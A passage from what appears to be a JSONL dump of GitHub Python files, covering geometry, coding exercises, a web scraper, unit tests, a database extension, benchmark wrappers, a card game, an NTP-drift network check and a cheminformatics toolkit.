rotacionY\n\t\tx = self.x * math.cos(rotacion) + self.z * math.sin(rotacion)\n\t\ty = self.y\n\t\tz = - self.x * math.sin(rotacion) + self.z * math.cos(rotacion)\n\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.z = z\n","repo_name":"jmbenitez/pfc","sub_path":"punto3.py","file_name":"punto3.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13341973910","text":"# you can write to stdout for debugging purposes, e.g.\n# print(\"this is a debug message\")\n\n\n'''\nGiven an array A of size N within the range [1....N].\nIn one move move, you can increase or decrease the value of any element by 1.\n\nAfter each move, all numbers should remain in the range [1...N]\n\nTask is to find the smallest number of moves to make all elements in the array pairwise distinct (i.e. no value can appear more than once)\n'''\nimport collections\n\ndef solution(A):\n \n set_numbers = set(range(1, len(A)+1))\n missing_list = list(set_numbers.difference(set(A)))\n missing_list.sort()\n print(missing_list)\n\n # Find the duplicate elements in an array\n # duplicate_items = [item for item, count in collections.Counter(A).items() if count > 1]\n print(collections.Counter(A))\n\n duplicate_items = []\n for item, count in collections.Counter(A).items():\n \tif(count>1):\n \t\twhile count >1:\n \t\t\tduplicate_items.append(item)\n \t\t\tcount-=1\n\n duplicate_items.sort()\n print(\"duplicate_items = \", duplicate_items)\n\n # find the pairwise difference\n count_updates = 0\n\n for i in range(len(duplicate_items)):\n count_updates += abs(duplicate_items[i] - missing_list[i])\n # Check for max moves\n if(count_updates > int(1e9)):\n return -1\n\n \n return count_updates\n\nprint(solution([5, 5, 5, 5, 5]))\nprint(solution([6,2,3,5,6,3,6]))\n","repo_name":"Gayatri-2017/Coding_Practice_Problems_Solutions","sub_path":"distinct_elements.py","file_name":"distinct_elements.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"28677203920","text":"import scrapy\nfrom scrapy.crawler import CrawlerProcess\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\n\n\nclass QuotesSpieder(scrapy.Spider):\n name = \"quotes\"\n start_urls = [\"https://www.instagram.com/lamarcong/\"]\n\n def __init__(self):\n #super().__init__()\n self.driver = webdriver.Chrome(\"/home/marco/Downloads/chromedriver\")\n\n\n def parse(self, response):\n self.driver.get(response.url)\n print(self.driver.page_source)\n self.driver.close()\nprocess = CrawlerProcess({\n\"user-Agent\": \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0\"\n})\n\n\nprocess.crawl(QuotesSpieder())\nprocess.start()\n","repo_name":"mclong6/BachelorarbeitCode","sub_path":"Scrapy.py","file_name":"Scrapy.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21374152513","text":"\"\"\"Collection of tests for euler functions\"\"\"\n# global\nimport ivy\nimport ivy_mech\nimport ivy.functional.backends.numpy as ivy_np\nimport numpy as np\n\n# local\nfrom ivy_mech_tests.test_orientation.orientation_data import OrientationTestData\n\notd = OrientationTestData()\n\n\ndef test_rot_mat_to_euler(device, fw):\n for conv in ivy_mech.VALID_EULER_CONVENTIONS:\n with ivy_np.use:\n euler_angles = ivy_mech.rot_mat_to_euler(otd.rotation_matrix, conv)\n assert np.allclose(\n ivy_mech.rot_mat_to_euler(ivy.array(otd.rotation_matrix), conv),\n euler_angles,\n atol=1e-6,\n )\n assert np.allclose(\n ivy_mech.rot_mat_to_euler(ivy.array(otd.batched_rotation_matrix), conv)[0],\n euler_angles,\n atol=1e-6,\n )\n\n\ndef test_quaternion_to_euler(device, fw):\n for conv in ivy_mech.VALID_EULER_CONVENTIONS:\n with ivy_np.use:\n euler_angles = ivy_mech.quaternion_to_euler(otd.quaternion, conv)\n assert np.allclose(\n ivy_mech.quaternion_to_euler(ivy.array(otd.quaternion), conv),\n euler_angles,\n atol=1e-6,\n )\n assert np.allclose(\n ivy_mech.quaternion_to_euler(ivy.array(otd.batched_quaternion), conv)[0],\n euler_angles,\n atol=1e-6,\n )\n\n\ndef test_axis_angle_to_euler(device, fw):\n for conv in ivy_mech.VALID_EULER_CONVENTIONS:\n with ivy_np.use:\n euler_angles = ivy_mech.quaternion_to_euler(otd.quaternion, conv)\n assert np.allclose(\n ivy_mech.axis_angle_to_euler(ivy.array(otd.axis_angle), conv),\n euler_angles,\n atol=1e-6,\n )\n assert np.allclose(\n ivy_mech.axis_angle_to_euler(ivy.array(otd.batched_axis_angle), conv)[0],\n euler_angles,\n atol=1e-6,\n )\n\n\ndef test_get_random_euler(device, fw):\n assert ivy_mech.get_random_euler().shape == (3,)\n assert ivy_mech.get_random_euler(batch_shape=(1, 1)).shape == (1, 1, 3)\n","repo_name":"unifyai/mech","sub_path":"ivy_mech_tests/test_orientation/test_euler_angles.py","file_name":"test_euler_angles.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"39128548011","text":"import grpc\nfrom playhouse import db_url\nfrom peewee import DoesNotExist, DataError\nfrom binwen.pb2 import default_pb2\nfrom binwen.utils.cache import cached_property\nfrom binwen.middleware import MiddlewareMixin\n\n\nfrom peeweext.exceptions import ValidationError\nfrom peeweext.models import TimeStampedModel, Model\n\n\nclass PeeweeExt:\n def __init__(self, alias='default'):\n self.alias = alias\n self.database = None\n\n def init_app(self, app):\n db_config = app.config[\"DATABASES\"][self.alias]\n conn_params = db_config.get('CONN_OPTIONS', {})\n self.database = db_url.connect(db_config['DB_URL'], **conn_params)\n self.try_setup_celery()\n\n @cached_property\n def Model(self):\n class BaseModel(Model):\n class Meta:\n database = self.database\n\n return BaseModel\n\n @cached_property\n def TimeStampedModel(self):\n class BaseTimeStampedModel(TimeStampedModel):\n class Meta:\n database = self.database\n\n return BaseTimeStampedModel\n\n def connect_db(self):\n if self.database.is_closed():\n self.database.connect()\n\n def close_db(self):\n if not self.database.is_closed():\n self.database.close()\n\n def try_setup_celery(self):\n try:\n from celery.signals import task_prerun, task_postrun\n task_prerun.connect(lambda *arg, **kw: self.connect_db(), weak=False)\n task_postrun.connect(lambda *arg, **kw: self.close_db(), weak=False)\n except ImportError:\n pass\n\n\nclass PeeweeExtMiddleware(MiddlewareMixin):\n def __init__(self, app, handler, origin_handler):\n super().__init__(app, handler, origin_handler)\n self.peewee_exts = [ext for ext in app.extensions.values() if isinstance(ext, PeeweeExt)]\n\n def connect_db(self):\n for pwx in self.peewee_exts:\n pwx.connect_db()\n\n def close_db(self):\n for pwx in self.peewee_exts:\n pwx.close_db()\n\n def __call__(self, servicer, request, context):\n try:\n self.connect_db()\n return self.handler(servicer, request, context)\n except DoesNotExist:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details('Record Not Found')\n except (ValidationError, DataError) as e:\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n context.set_details(str(e))\n finally:\n self.close_db()\n return default_pb2.Empty()\n\n","repo_name":"binwen/binwen-peewee","sub_path":"peeweext/binwen.py","file_name":"binwen.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29539550809","text":"import os\r\nimport numpy as np\r\n\r\n\r\nclass ProfetFunction:\r\n def __init__(self, name, idx, has_cost=False):\r\n # only load this if we explicitly use the function\r\n from emukit.examples.profet import meta_benchmarks\r\n\r\n self.idx = idx\r\n self.name = name\r\n self.has_cost = has_cost\r\n self.f_class = getattr(meta_benchmarks, f\"meta_{self.name}\")\r\n\r\n # problems index from 0 but we number of problems from 1.\r\n self.idx -= 1\r\n\r\n # path to the directory that stores the objective (and cost) file\r\n path_base = os.path.join(\r\n os.path.dirname(os.path.realpath(__file__)),\r\n f\"profet_data/samples/{self.name}/\",\r\n )\r\n\r\n # set up the arguments to the function\r\n args = {\r\n \"fname_objective\": f\"{path_base}/sample_objective_{self.idx}.pkl\",\r\n \"noise\": False,\r\n }\r\n if self.has_cost:\r\n args[\"fname_cost\"] = f\"{path_base}/sample_cost_{self.idx}.pkl\"\r\n\r\n # instantiate the problem and its parameter space\r\n self.f, pspace = self.f_class(**args)\r\n\r\n # extract the problem dimensionality and problem bounds\r\n self.dim = pspace.dimensionality\r\n\r\n bounds = np.array(pspace.get_bounds())\r\n self.lb = bounds[:, 0]\r\n self.ub = bounds[:, 1]\r\n\r\n # no optimal locations\r\n self.xopt = None\r\n self.yopt = np.array([0.0])\r\n\r\n self.cf = None\r\n\r\n def __call__(self, x, return_cost=False):\r\n # ensure it is 2d\r\n x = np.reshape(x, (-1, self.dim))\r\n\r\n # self.f returns a tuple of (function evaluation, cost)\r\n fx, cost = self.f(x)\r\n fx = fx.ravel()\r\n cost = cost.ravel()\r\n\r\n # typically we won't be getting the cost.\r\n if not return_cost:\r\n return fx\r\n\r\n return fx, cost\r\n\r\n\r\nclass svm(ProfetFunction):\r\n def __init__(self, problem_instance=1):\r\n ProfetFunction.__init__(self, \"svm\", problem_instance, True)\r\n\r\n\r\nclass fcnet(ProfetFunction):\r\n def __init__(self, problem_instance=1):\r\n ProfetFunction.__init__(self, \"fcnet\", problem_instance, True)\r\n\r\n\r\nclass xgboost(ProfetFunction):\r\n def __init__(self, problem_instance=1):\r\n ProfetFunction.__init__(self, \"xgboost\", problem_instance, True)\r\n\r\n\r\nclass forrester(ProfetFunction):\r\n def __init__(self, problem_instance=1):\r\n ProfetFunction.__init__(self, \"forrester\", problem_instance, False)\r\n","repo_name":"georgedeath/aegis","sub_path":"aegis/test_problems/profet.py","file_name":"profet.py","file_ext":"py","file_size_in_byte":2469,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"67"} +{"seq_id":"1424093139","text":"import copy\r\n\r\nimport time\r\n\r\nstart_time=time.time()\r\nclass cards:\r\n suitList = ['Clubs', 'Diamonds', 'Hearts', 'Spades']\r\n rankList = ['nill', 'Ace', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'Jack', 'Queen', 'King']\r\n\r\n def __init__(self, suit, rank):\r\n self.suit = suit\r\n self.rank = rank\r\n\r\n def __str__(self):\r\n return str(self.rankList[self.rank] + ' of ' + str(self.suitList[self.suit]))\r\n\r\n\r\n# print(cards(2,11)) everything works so far\r\n\r\nclass deck(cards):\r\n def __init__(self):\r\n self.cards = []\r\n for i in range(len(self.suitList)):\r\n for m in range(1, len(self.rankList)):\r\n self.cards.append(str(cards(i, m)))\r\n\r\n # def __str__(self):\r\n # final = ''\r\n # for i in range(len(self.cards)):\r\n # final = final + '' + ' ' * i + str(self.cards[i]) + '\\n'\r\n #\r\n # return final\r\n\r\n\r\nclass hand():\r\n def __init__(self, name=''):\r\n self.name = name\r\n self.cards = []\r\n\r\n def __str__(self):\r\n return str(self.cards)\r\n\r\n def addhand(self, card):\r\n self.cards.append(card)\r\n return self.name, self.cards\r\n\r\n\r\nclass shuffledDeck(deck, hand):\r\n def __init__(self):\r\n super().__init__()\r\n self.tempshuffledcards = copy.deepcopy(self.cards)\r\n self.cardsleftonDeck = copy.deepcopy(self.shuffleCards())\r\n\r\n def shuffleCards(self):\r\n import random\r\n nCards = len(self.cards)\r\n for i in range(nCards):\r\n j = random.randrange(i, nCards)\r\n\r\n self.tempshuffledcards[i], self.tempshuffledcards[j] = self.tempshuffledcards[j], self.tempshuffledcards[i]\r\n self.shuffledcards = self.tempshuffledcards\r\n # print(self.shuffledcards) #-->for debugging\r\n return self.shuffledcards\r\n\r\n def removeCard(self, cardname):\r\n\r\n return self.cardsleftonDeck.remove(cardname)\r\n\r\n def deal(self, numberofcards=len(deck().cards), hands=[]):\r\n numberofhands = len(hands)\r\n lst = []\r\n if numberofcards > len(self.cards):\r\n return 'you have exceded the Deck Size Try Again'\r\n\r\n if numberofcards * numberofhands > len(deck().cards):\r\n for a in range(numberofcards):\r\n try:\r\n cardr = self.cardsleftonDeck.pop()\r\n except IndexError:\r\n break\r\n handname = hands[a % numberofhands]\r\n lst.append(hand(handname).addhand(cardr))\r\n\r\n else:\r\n for b in range(numberofcards * numberofhands):\r\n try:\r\n cardr = self.cardsleftonDeck.pop()\r\n except IndexError:\r\n break\r\n handname = hands[b % numberofhands]\r\n lst.append(hand(handname).addhand(cardr))\r\n\r\n dictionaryofCardsandHands = {}\r\n for c in hands:\r\n dictionaryofCardsandHands[c] = []\r\n for d in lst:\r\n for e in d:\r\n if c == e:\r\n for f in d:\r\n if isinstance(f, list):\r\n for j in f:\r\n dictionaryofCardsandHands[c].append(j)\r\n else:\r\n break\r\n\r\n return dictionaryofCardsandHands\r\n\r\n\r\n# print(shuffledDeck().deal(hands=['sabata', 'makhele', 'subzero', 'abel', 'boitumelo']))\r\n\r\nclass OldMaidHand(shuffledDeck, cards):\r\n def __init__(self, x):\r\n super().__init__()\r\n self.nhands = x\r\n self.remove = self.removeCard((str(cards(0, 12))))\r\n self.dicofdeltcards = self.deal(hands=x)\r\n self.matches = 0\r\n\r\n def removeMathces(self):\r\n\r\n for i in self.dicofdeltcards.keys():\r\n for h in range(13):\r\n # n = str(cards(0, 1 + h)) |\r\n # m = str(cards(3, 1 + h)) |\r\n # o = str(cards(1, 1 + h))\r\n # p = str(cards(2, 1 + h))\r\n if str(cards(0, 1 + h)) in self.dicofdeltcards[i]:\r\n if str(cards(3, 1 + h)) in self.dicofdeltcards[i]:\r\n print(i, 'matched', str(cards(0, 1 + h)), 'with', str(cards(3, 1 + h)))\r\n self.dicofdeltcards[i].remove(str(cards(0, 1 + h)))\r\n self.dicofdeltcards[i].remove(str(cards(3, 1 + h)))\r\n self.matches = self.matches + 1\r\n\r\n if str(cards(1, 1 + h)) in self.dicofdeltcards[i]:\r\n if str(cards(2, 1 + h)) in self.dicofdeltcards[i]:\r\n print(i, 'matched', str(cards(1, 1 + h)), 'with', str(cards(2, 1 + h)))\r\n self.dicofdeltcards[i].remove(str(cards(1, 1 + h)))\r\n self.dicofdeltcards[i].remove(str(cards(2, 1 + h)))\r\n self.matches = self.matches + 1\r\n\r\n # print(self.matches)\r\n # for i in self.dicofdeltcards.keys():\r\n # count = 1\r\n # print(len(self.dicofdeltcards[i]))\r\n # print('The Hand of', i, 'is:\\n')\r\n # for c in self.dicofdeltcards[i]:\r\n # print(' ' * count + c + '')\r\n # count = count + 1\r\n\r\n return self.matches\r\n\r\n def play(self): # input('please give a list of players e.g[\"name1\",\"name2]\"')):\r\n # self.removeCard((str(cards(0, 12))))\r\n # print(self.cardsleftonDeck)\r\n # dicofdeltcards = self.deal(hands=x)\r\n for i in self.dicofdeltcards.keys():\r\n count = 1\r\n # print(len(self.dicofdeltcards[i]))\r\n print('The Hand of', i, 'is:' + '\\n',end='')\r\n for c in self.dicofdeltcards[i]:\r\n print(c,'\\n', end='')\r\n count = count + 1\r\n print(''* 2, end='')\r\n\r\n # for i in dicofdeltcards.keys():\r\n # for h in range(13):\r\n # # n = str(cards(0, 1 + h)) |\r\n # # m = str(cards(3, 1 + h)) |\r\n # # o = str(cards(1, 1 + h))\r\n # # p = str(cards(2, 1 + h))\r\n # if str(cards(0, 1 + h)) in dicofdeltcards[i]:\r\n # if str(cards(3, 1 + h)) in dicofdeltcards[i]:\r\n # print(i,'matched',str(cards(0, 1 + h)), 'with',str(cards(3, 1 + h)))\r\n # dicofdeltcards[i].remove(str(cards(0, 1 + h)))\r\n # dicofdeltcards[i].remove(str(cards(3, 1 + h)))\r\n # matches=matches+1\r\n #\r\n # if str(cards(1, 1 + h)) in dicofdeltcards[i]:\r\n # if str(cards(2, 1 + h)) in dicofdeltcards[i]:\r\n # print(i, 'matched', str(cards(1, 1 + h)), 'with', str(cards(2, 1 + h)))\r\n # dicofdeltcards[i].remove(str(cards(1, 1 + h)))\r\n # dicofdeltcards[i].remove(str(cards(2, 1 + h)))\r\n # matches=matches+1\r\n # --------------------------trail and Error--------------------------------------------------\r\n\r\n # elif g==str(cards(0,1+h)):\r\n # dicofdeltcards[i].remove(str(cards(0,1+h)))\r\n # dicofdeltcards[i].remove(str(cards(3,1+h)))\r\n # #dicofdeltcards[i][f]=str(cards(3,1+h))\r\n # elif g==str(cards(1,1+h)):\r\n # k=str(cards(1,1+h))\r\n # l=str(cards(2,1+h))\r\n #\r\n # dicofdeltcards[i].remove(str(cards(1,1+h)))\r\n # dicofdeltcards[i].remove(str(cards(2,1+h)))\r\n # #dicofdeltcards[i][f]=str(cards(2,1+h))\r\n # --------------------------trail and Error--------------------------------------------------\r\n # print(matches)\r\n # for i in dic_of_dealt_cards.keys():\r\n # count = 1\r\n # print(len(dic_of_dealt_cards[i]))\r\n # print('The Hand of', i, 'is:\\n')\r\n # for c in dic_of_dealt_cards[i]:\r\n # print(' ' * count + c + '')\r\n # count = count + 1\r\n\r\n count = 0\r\n while self.matches < 25:\r\n # print(self.matches)\r\n # print(self.dicofdeltcards)\r\n try:\r\n for o in self.dicofdeltcards.keys():\r\n\r\n if len(self.dicofdeltcards[o]) == 0:\r\n del self.dicofdeltcards[o]\r\n self.nhands.remove(o)\r\n\r\n except RuntimeError:\r\n continue\r\n self.removeMathces()\r\n for keys in self.dicofdeltcards.keys():\r\n # print(keys,self.dic_of_dealt_cards[keys])\r\n self.shuffleHand(self.dicofdeltcards[keys])\r\n # print(keys,self.dic_of_dealt_cards[keys])\r\n Handturn = self.nhands[count % len(self.nhands)]\r\n\r\n try:\r\n self.pickCard(Handturn)\r\n except IndexError:\r\n for left in self.dicofdeltcards.keys():\r\n if len(self.dicofdeltcards[left]) == 1:\r\n return print(left, 'has','\"{}\"'.format(self.dicofdeltcards[left][0]),'and has lost the Game')\r\n count = count + 1\r\n\r\n def shuffleHand(self, cards):\r\n import random\r\n nCards = len(cards)\r\n for i in range(nCards):\r\n j = random.randrange(i, nCards)\r\n\r\n cards[i], cards[j] = cards[j], cards[i]\r\n # self.shuffled_cards = self.temp_shuffled_cards\r\n # print(self.shuffled_cards) #-->for debugging\r\n return cards\r\n\r\n def pickCard(self, name):\r\n templist = copy.deepcopy(self.nhands)\r\n templist.remove(name)\r\n import random\r\n choosenhand = random.choice(templist)\r\n takenCard = self.dicofdeltcards[choosenhand].pop()\r\n\r\n self.dicofdeltcards[name].append(takenCard)\r\n\r\n\r\nx = OldMaidHand(x=['Sabata Makhele', 'Puseletso Makhele', 'Boitumelo Sehlabaka', 'Daniel Makhele', 'Hlophekile Ngundle',\r\n 'Tseko Malawaneng'])\r\nx.play()\r\nghfhgfghfgh\r\nprint(time.time()-start_time,'seconds')\r\nprint(x.cardsleftonDeck)\r\n","repo_name":"makhele/Old-maid-card-game-","sub_path":"Old Maids Card Game.py","file_name":"Old Maids Card Game.py","file_ext":"py","file_size_in_byte":10141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73668981334","text":"#! /usr/bin/env python3\r\nif True: # imports\r\n import json\r\n import sys\r\nif True: # function imports\r\n from functions import GetAWSDHCPSets\r\n from functions import GetDCNTP\r\n from functions import SendCommands\r\n from functions import ConvertTimeDelta\r\n from functions import FormatTime\r\n from functions import GetTimeDelta\r\n from functions import ConvertTimeDelta\r\nif True: # set env variables\r\n with open('aws+nva_ntp-check_project.json') as f:\r\n js = json.load(f)\r\n device_dict = js['VPCS']\r\n svc_act_un = js['SVC_UN']\r\n svc_act_pwd = js['SVC_PWD']\r\n netadmin_un = js['NETADMIN_UN']\r\n netadmin_pwd = js['NETADMIN_PWD']\r\nif True: # Code\r\n for vpc in device_dict:\r\n # set working variables\r\n vals = device_dict[vpc]\r\n vpc_name = vals['NAME']\r\n vpc_acct = vals['ACCT']\r\n vpc_dcs = vals['DCS']\r\n vpc_fws = vals['FWS']\r\n vpc_lbs = vals['LBS']\r\n if vpc_acct == 'sandbox':\r\n awscreds = 'sandbox'\r\n if vpc_acct == 'prod':\r\n awscreds = 'production'\r\n if vpc_acct == 'mgmt':\r\n awscreds = 'management'\r\n\r\n # get AWS VPC DHCP-OPTION settings\r\n dn = GetAWSDHCPSets.Get(vpc_name, awscreds, 'domain')\r\n vpc_dc_ips = GetAWSDHCPSets.Get(vpc_name, awscreds, 'dcs')\r\n vpc_ntp_ips = GetAWSDHCPSets.Get(vpc_name, awscreds, 'ntp')\r\n\r\n # get DC NTP status and drift\r\n dc_ntp = {}\r\n dc_ntp_status = {}\r\n dc_ntp_drift = {}\r\n dc_ntp_sets = []\r\n dc_ntp_console_out = []\r\n dc_ntp_drifts = []\r\n for dc in vpc_dcs:\r\n dc_ntp[dc] = GetDCNTP.Settings(dc, svc_act_un, svc_act_pwd, 'peers')\r\n if 'Error:' in dc_ntp[dc]:\r\n dc_ntp_sets.append(f'{dc}: {str(dc_ntp[dc])}')\r\n else: \r\n servers = ', '.join(v for v in dc_ntp[dc])\r\n dc_ntp_sets.append(f'{dc}: {dc_ntp[dc][0]}')\r\n \r\n dc_ntp_delta = GetDCNTP.Delta(dc, dc_ntp[dc], svc_act_un, svc_act_pwd)\r\n if dc_ntp_delta != 'NA':\r\n dc_ntp_status[dc], dc_ntp_drift[dc] = ConvertTimeDelta.ConvertTD(dc_ntp_delta)\r\n else:\r\n dc_ntp_status[dc], dc_ntp_drift[dc] = 'Error: Could not connect to NTP source', 'NA'\r\n\r\n if 'GOOD' in dc_ntp_status[dc][0]:\r\n dc_ntp_console_out.append(f'{dc}: {dc_ntp_status[dc][0]}')\r\n dc_ntp_drifts.append(f'{dc}: {dc_ntp_drift[dc][0]} seconds')\r\n if 'NA' in dc_ntp_delta:\r\n dc_ntp_console_out.append(f'{dc}: {dc_ntp_status[dc]}')\r\n dc_ntp_drifts.append(f'{dc}: NA: Could not connect to NTP source')\r\n else:\r\n dc_ntp_console_out.append(f'WARNING::{dc} has drifted {dc_ntp_status[dc][0]}')\r\n dc_ntp_drifts.append(f'{dc}: {dc_ntp_drift[dc][0]} {dc_ntp_status[dc][0]}')\r\n \r\n # get FW NTP settings and status\r\n fw_ntp = {}\r\n fw_ntp_status = {}\r\n fw_ntp_sets = []\r\n fw_ntp_console_out = []\r\n err_msg = 'Error: Could not connect'\r\n for fw in vpc_fws:\r\n fw_ntp[fw] = []\r\n command = 'show sys ntp'\r\n fw_ntp_verbose = SendCommands.Exec(fw, netadmin_un, netadmin_pwd, command)\r\n if fw_ntp_verbose != 'NA':\r\n fw_ntp_split = fw_ntp_verbose.splitlines()\r\n for idx, val in enumerate(fw_ntp_split):\r\n if 'set server' in val:\r\n fw_ntp_server = val.split()\r\n fw_ntp[fw].append(fw_ntp_server[2].strip('\"'))\r\n servers = ', '.join(v for v in fw_ntp[fw])\r\n fw_ntp_sets.append(f'{fw}: {servers}')\r\n\r\n command = 'get sys status'\r\n fw_ntp_status_verbose = SendCommands.Exec(fw, netadmin_un, netadmin_pwd, command)\r\n true_datetime = GetDCNTP.Time(fw_ntp[fw], svc_act_un, svc_act_pwd)\r\n fw_ntp_status_split = fw_ntp_status_verbose.splitlines()\r\n for idx, val in enumerate(fw_ntp_status_split):\r\n if 'time' in val:\r\n fw_time = val.split()\r\n fw_time = ' '.join(fw_time[2:])\r\n fw_datetime = FormatTime.StringtoDT(fw_time)\r\n\r\n if true_datetime != 'NA':\r\n fw_ntp_delta = GetTimeDelta.GetTD(fw_datetime, true_datetime)\r\n fw_ntp_status[fw] = ConvertTimeDelta.ConvertTD(fw_ntp_delta)\r\n else:\r\n fw_ntp_status[fw] = 'Error: Could not connect to NTP source'\r\n else:\r\n fw_ntp[fw] = err_msg\r\n fw_ntp_sets.append(f'{fw}: {err_msg}')\r\n fw_ntp_status[fw] = 'NA'\r\n true_datetime = 'Pass'\r\n \r\n if 'GOOD' in fw_ntp_status[fw][0]:\r\n fw_ntp_console_out.append(f'{fw}: GOOD')\r\n elif 'Error:' in fw_ntp[fw]:\r\n fw_ntp_console_out.append(f'{fw}: {fw_ntp[fw]}')\r\n elif true_datetime == 'NA':\r\n fw_ntp_console_out.append(f'{fw}: {fw_ntp_status[fw]}')\r\n else:\r\n fw_ntp_console_out.append(f'WARNING::{fw} has drifted {str(fw_ntp_status[fw][1])} {str(fw_ntp_status[fw][0])}')\r\n\r\n # get LB NTP settings and status\r\n lb_ntp = {}\r\n lb_ntp_status = {}\r\n lb_ntp_sets = []\r\n lb_ntp_console_out = []\r\n err_msg = 'Error: Could not connect'\r\n for lb in vpc_lbs:\r\n lb_ntp[lb] = []\r\n command = 'show running-config sys ntp'\r\n lb_ntp_verbose = SendCommands.Exec(lb, svc_act_un, svc_act_pwd, command)\r\n if lb_ntp_verbose != 'NA':\r\n lb_ntp_split = lb_ntp_verbose.splitlines()\r\n for idx, val in enumerate(lb_ntp_split):\r\n if 'servers' in val:\r\n lb_ntp_server = val.split()\r\n \r\n lb_ntp_server_list = []\r\n for val in lb_ntp_server:\r\n if 'servers' in val or '{' in val or '}' in val:\r\n pass\r\n else:\r\n lb_ntp[lb].append(val)\r\n servers = ', '.join(v for v in lb_ntp[lb])\r\n lb_ntp_sets.append(f'{lb}: {servers}')\r\n\r\n command = 'show sys clock'\r\n lb_ntp_status_verbose = SendCommands.Exec(lb, svc_act_un, svc_act_pwd, command)\r\n true_datetime = GetDCNTP.Time(lb_ntp[lb], svc_act_un, svc_act_pwd)\r\n lb_ntp_status_split = lb_ntp_status_verbose.splitlines()\r\n for idx, val in enumerate(lb_ntp_status_split):\r\n if ':' in val and 'Sys' not in val:\r\n lb_time = val\r\n lb_datetime = FormatTime.StringtoDT(lb_time)\r\n\r\n if true_datetime != 'NA':\r\n lb_ntp_delta = GetTimeDelta.GetTD(lb_datetime, true_datetime)\r\n lb_ntp_status[lb] = ConvertTimeDelta.ConvertTD(lb_ntp_delta)\r\n else:\r\n lb_ntp_status[lb] = 'Error: Could not connect to NTP source'\r\n else:\r\n lb_ntp[lb] = err_msg\r\n lb_ntp_sets.append(f'{lb}: {err_msg}')\r\n lb_ntp_status[lb] = 'NA'\r\n true_datetime = 'Pass'\r\n \r\n if 'GOOD' in lb_ntp_status[lb][0]:\r\n lb_ntp_console_out.append(f'{lb}: GOOD')\r\n elif 'Error:' in lb_ntp[lb]:\r\n lb_ntp_console_out.append(f'{lb}: {lb_ntp[lb]}')\r\n elif true_datetime == 'NA':\r\n lb_ntp_console_out.append(f'{lb}: {lb_ntp_status[lb]}')\r\n else:\r\n lb_ntp_console_out.append(f'WARNING::{lb} has drifted {str(lb_ntp_status[lb][1])} {str(lb_ntp_status[lb][0])}')\r\n\r\n cr_tab = '\\n\\t\\t\\t '\r\n print(f'''\r\n {vpc_name.upper()} \r\n VPC DCHP-OPTIONS::\r\n DOMAIN = {dn}\r\n DCS = {', '.join(v for v in vpc_dc_ips)}\r\n NTP = {', '.join(v for v in vpc_ntp_ips)}\r\n DC NTP::\r\n SETTINGS = {cr_tab.join(v for v in dc_ntp_sets)}\r\n STATUS = {cr_tab.join(v for v in dc_ntp_console_out)}\r\n DRIFT = {cr_tab.join(v for v in dc_ntp_drifts)}\r\n FW NTP::\r\n SETTINGS = {cr_tab.join(v for v in fw_ntp_sets)}\r\n STATUS = {cr_tab.join(v for v in fw_ntp_console_out)}\r\n LB NTP::\r\n SETTINGS = {cr_tab.join(v for v in lb_ntp_sets)}\r\n STATUS = {cr_tab.join(v for v in lb_ntp_console_out)}\r\n ''')\r\nif True: # Exit script\r\n sys.exit()","repo_name":"adubadub/general_netops","sub_path":"check-ntp/aws+nva/project/aws+nva_ntp-check_project.py","file_name":"aws+nva_ntp-check_project.py","file_ext":"py","file_size_in_byte":8840,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"15536715464","text":"from __future__ import print_function\nimport os\nimport gzip\nfrom base64 import b64encode\nfrom itertools import combinations\nimport warnings\n\nfrom six import BytesIO, PY3\nimport numpy as np\nfrom sklearn.utils.deprecation import deprecated\n\nimport rdkit\nfrom rdkit import Chem\nfrom rdkit.Chem import AllChem, Draw\nfrom rdkit.Chem.Draw import rdMolDraw2D\nfrom rdkit.Chem import Descriptors\nfrom rdkit import RDConfig\n\nimport rdkit.DataStructs\nimport rdkit.Chem.MACCSkeys\nimport rdkit.Chem.AtomPairs.Pairs\nimport rdkit.Chem.AtomPairs.Torsions\n# ODDT #\nfrom rdkit.Chem.Lipinski import NumRotatableBonds\nfrom rdkit.Chem.AllChem import ComputeGasteigerCharges\nfrom rdkit.Chem.Pharm2D import Gobbi_Pharm2D, Generate\nfrom rdkit.Chem import CanonicalRankAtoms\n\nfrom oddt.toolkits.common import detect_secondary_structure, canonize_ring_path\nfrom oddt.toolkits.extras.rdkit import (_sybyl_atom_type,\n MolFromPDBBlock,\n MolToPDBQTBlock,\n MolFromPDBQTBlock)\n\n\n_descDict = dict(Descriptors.descList)\n\nbackend = 'rdk'\n__version__ = rdkit.__version__\nimage_backend = 'png' # png or svg\nimage_size = (200, 200)\n\ntry:\n if get_ipython().config:\n ipython_notebook = True\n else:\n ipython_notebook = False\nexcept NameError:\n ipython_notebook = False\n\nelementtable = Chem.GetPeriodicTable()\n\nSMARTS_DEF = {\n 'rot_bond': '[!$(*#*)&!D1&!$(C(F)(F)F)&'\n '!$(C(Cl)(Cl)Cl)&'\n '!$(C(Br)(Br)Br)&'\n '!$(C([CH3])([CH3])[CH3])&'\n '!$([CD3](=[N,O,S])-!@[#7,O,S!D1])&'\n '!$([#7,O,S!D1]-!@[CD3]=[N,O,S])&'\n '!$([CD3](=[N+])-!@[#7!D1])&'\n '!$([#7!D1]-!@[CD3]=[N+])]-!@[!$(*#*)&'\n '!D1&!$(C(F)(F)F)&'\n '!$(C(Cl)(Cl)Cl)&'\n 